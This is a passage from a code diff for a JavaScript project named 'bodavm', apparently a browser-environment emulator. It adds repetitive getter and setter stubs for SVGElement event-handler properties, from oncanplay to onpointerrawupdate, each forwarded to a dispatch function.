bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncanplaythrough", { + configurable: true, + enumerable: true, + get: function oncanplaythrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplaythrough_get", arguments); + }, + set: function oncanplaythrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplaythrough_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onclick", { + configurable: true, + enumerable: true, + get: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclick_get", arguments); + }, + set: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncontextlost", { + configurable: true, + enumerable: true, + get: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextlost_get", arguments); + }, + set: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextlost_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncontextmenu", { + configurable: true, + enumerable: true, + get: function oncontextmenu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextmenu_get", arguments); + }, + set: function oncontextmenu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextmenu_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncontextrestored", { + configurable: true, + enumerable: true, + get: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextrestored_get", arguments); + }, + set: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextrestored_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncuechange", { + configurable: true, + enumerable: true, + get: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncuechange_get", arguments); + }, + set: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncuechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondblclick", { + configurable: true, + enumerable: true, + get: function ondblclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondblclick_get", arguments); + }, + set: function ondblclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondblclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondrag", { + configurable: true, + enumerable: true, + get: function ondrag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrag_get", arguments); + }, + set: function ondrag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrag_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondragend", { + configurable: true, + enumerable: true, + get: function ondragend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragend_get", arguments); + }, + set: function ondragend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondragenter", { + configurable: true, + enumerable: true, + get: function ondragenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragenter_get", arguments); + }, + set: function ondragenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondragleave", { + configurable: true, + enumerable: true, + get: function ondragleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragleave_get", arguments); + }, + set: function ondragleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondragover", { + configurable: true, + enumerable: true, + get: function ondragover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragover_get", arguments); + }, + set: function ondragover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondragstart", { + configurable: true, + enumerable: true, + get: function ondragstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragstart_get", arguments); + }, + set: function ondragstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondrop", { + configurable: true, + enumerable: true, + get: function ondrop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrop_get", arguments); + }, + set: function ondrop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondurationchange", { + configurable: true, + enumerable: true, + get: function ondurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondurationchange_get", arguments); + }, + set: function ondurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondurationchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onemptied", { + configurable: true, + enumerable: true, + get: function onemptied() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onemptied_get", arguments); + }, + set: function onemptied() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onemptied_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onended", { + configurable: true, + enumerable: true, + get: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onended_get", arguments); + }, + set: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onended_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onfocus", { + configurable: true, + enumerable: true, + get: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onfocus_get", arguments); + }, + set: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onfocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onformdata", { + configurable: true, + enumerable: true, + get: function onformdata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onformdata_get", arguments); + }, + set: function onformdata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onformdata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oninput", { + configurable: true, + enumerable: true, + get: function oninput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninput_get", arguments); + }, + set: function oninput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninput_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oninvalid", { + configurable: true, + enumerable: true, + get: function oninvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninvalid_get", arguments); + }, + set: function oninvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninvalid_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onkeydown", { + configurable: true, + enumerable: true, + get: function onkeydown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeydown_get", arguments); + }, + set: function onkeydown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeydown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onkeypress", { + configurable: true, + enumerable: true, + get: function onkeypress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeypress_get", arguments); + }, + set: function onkeypress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeypress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onkeyup", { + configurable: true, + enumerable: true, + get: function onkeyup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeyup_get", arguments); + }, + set: function onkeyup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeyup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onload", { + configurable: true, + enumerable: true, + get: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onload_get", arguments); + }, + set: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onloadeddata", { + configurable: true, + enumerable: true, + get: function onloadeddata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadeddata_get", arguments); + }, + set: function onloadeddata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadeddata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onloadedmetadata", { + configurable: true, + enumerable: true, + get: function onloadedmetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadedmetadata_get", arguments); + }, + set: function onloadedmetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadedmetadata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onloadstart", { + configurable: true, + enumerable: true, + get: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadstart_get", arguments); + }, + set: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmousedown", { + configurable: true, + enumerable: true, + get: function onmousedown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousedown_get", arguments); + }, + set: function onmousedown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousedown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmouseenter", { + configurable: true, + enumerable: true, + get: function onmouseenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseenter_get", arguments); + }, + set: function onmouseenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmouseleave", { + configurable: true, + enumerable: true, + get: function onmouseleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseleave_get", arguments); + }, + set: function onmouseleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmousemove", { + configurable: true, + enumerable: true, + get: function onmousemove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousemove_get", arguments); + }, + set: function onmousemove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousemove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmouseout", { + configurable: true, + enumerable: true, + get: function onmouseout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseout_get", arguments); + }, + set: function onmouseout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmouseover", { + configurable: true, + enumerable: true, + get: function onmouseover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseover_get", arguments); + }, + set: function onmouseover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmouseup", { + configurable: true, + enumerable: true, + get: function onmouseup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseup_get", arguments); + }, + set: function onmouseup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmousewheel", { + configurable: true, + enumerable: true, + get: function onmousewheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousewheel_get", arguments); + }, + set: function onmousewheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousewheel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpause", { + configurable: true, + enumerable: true, + get: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpause_get", arguments); + }, + set: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpause_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onplay", { + configurable: true, + enumerable: true, + get: function onplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplay_get", arguments); + }, + set: function onplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onplaying", { + configurable: true, + enumerable: true, + get: function onplaying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplaying_get", arguments); + }, + set: function onplaying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplaying_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onprogress", { + configurable: true, + enumerable: true, + get: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onprogress_get", arguments); + }, + set: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onprogress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onratechange", { + configurable: true, + enumerable: true, + get: function onratechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onratechange_get", arguments); + }, + set: function onratechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onratechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onreset", { + configurable: true, + enumerable: true, + get: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onreset_get", arguments); + }, + set: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onreset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onresize", { + configurable: true, + enumerable: true, + get: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onresize_get", arguments); + }, + set: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onresize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onscroll", { + configurable: true, + enumerable: true, + get: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onscroll_get", arguments); + }, + set: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onscroll_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onsecuritypolicyviolation", { + configurable: true, + enumerable: true, + get: function onsecuritypolicyviolation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsecuritypolicyviolation_get", arguments); + }, + set: function onsecuritypolicyviolation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsecuritypolicyviolation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onseeked", { + configurable: true, + enumerable: true, + get: function onseeked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeked_get", arguments); + }, + set: function onseeked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onseeking", { + configurable: true, + enumerable: true, + get: function onseeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeking_get", arguments); + }, + set: function onseeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeking_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onselect", { + configurable: true, + enumerable: true, + get: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselect_get", arguments); + }, + set: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onslotchange", { + configurable: true, + enumerable: true, + get: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onslotchange_get", arguments); + }, + set: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onslotchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onstalled", { + configurable: true, + enumerable: true, + get: function onstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onstalled_get", arguments); + }, + set: function onstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onstalled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onsubmit", { + configurable: true, + enumerable: true, + get: function onsubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsubmit_get", arguments); + }, + set: function onsubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsubmit_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onsuspend", { + configurable: true, + enumerable: true, + get: function onsuspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsuspend_get", arguments); + }, + set: function onsuspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsuspend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontimeupdate", { + configurable: true, + enumerable: true, + get: function ontimeupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontimeupdate_get", arguments); + }, + set: function ontimeupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontimeupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontoggle", { + configurable: true, + enumerable: true, + get: function ontoggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontoggle_get", arguments); + }, + set: function ontoggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontoggle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onvolumechange", { + configurable: true, + enumerable: true, + get: function onvolumechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onvolumechange_get", arguments); + }, + set: function onvolumechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onvolumechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwaiting", { + configurable: true, + enumerable: true, + get: function onwaiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwaiting_get", arguments); + }, + set: function onwaiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwaiting_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwebkitanimationend", { + configurable: true, + enumerable: true, + get: function onwebkitanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationend_get", arguments); + }, + set: function onwebkitanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwebkitanimationiteration", { + configurable: true, + enumerable: true, + get: function onwebkitanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationiteration_get", arguments); + }, + set: function onwebkitanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationiteration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwebkitanimationstart", { + configurable: true, + enumerable: true, + get: function onwebkitanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationstart_get", arguments); + }, + set: function onwebkitanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwebkittransitionend", { + configurable: true, + enumerable: true, + get: function onwebkittransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkittransitionend_get", arguments); + }, + set: function onwebkittransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkittransitionend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwheel", { + configurable: true, + enumerable: true, + get: function onwheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwheel_get", arguments); + }, + set: function onwheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwheel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onauxclick", { + configurable: true, + enumerable: true, + get: function onauxclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onauxclick_get", arguments); + }, + set: function onauxclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onauxclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ongotpointercapture", { + configurable: true, + enumerable: true, + get: function ongotpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ongotpointercapture_get", arguments); + }, + set: function ongotpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ongotpointercapture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onlostpointercapture", { + configurable: true, + enumerable: true, + get: function onlostpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onlostpointercapture_get", arguments); + }, + set: function onlostpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onlostpointercapture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerdown", { + configurable: true, + enumerable: true, + get: function onpointerdown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerdown_get", arguments); + }, + set: function onpointerdown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerdown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointermove", { + configurable: true, + enumerable: true, + get: function onpointermove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointermove_get", arguments); + }, + set: function onpointermove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointermove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerrawupdate", { + configurable: true, + enumerable: true, + 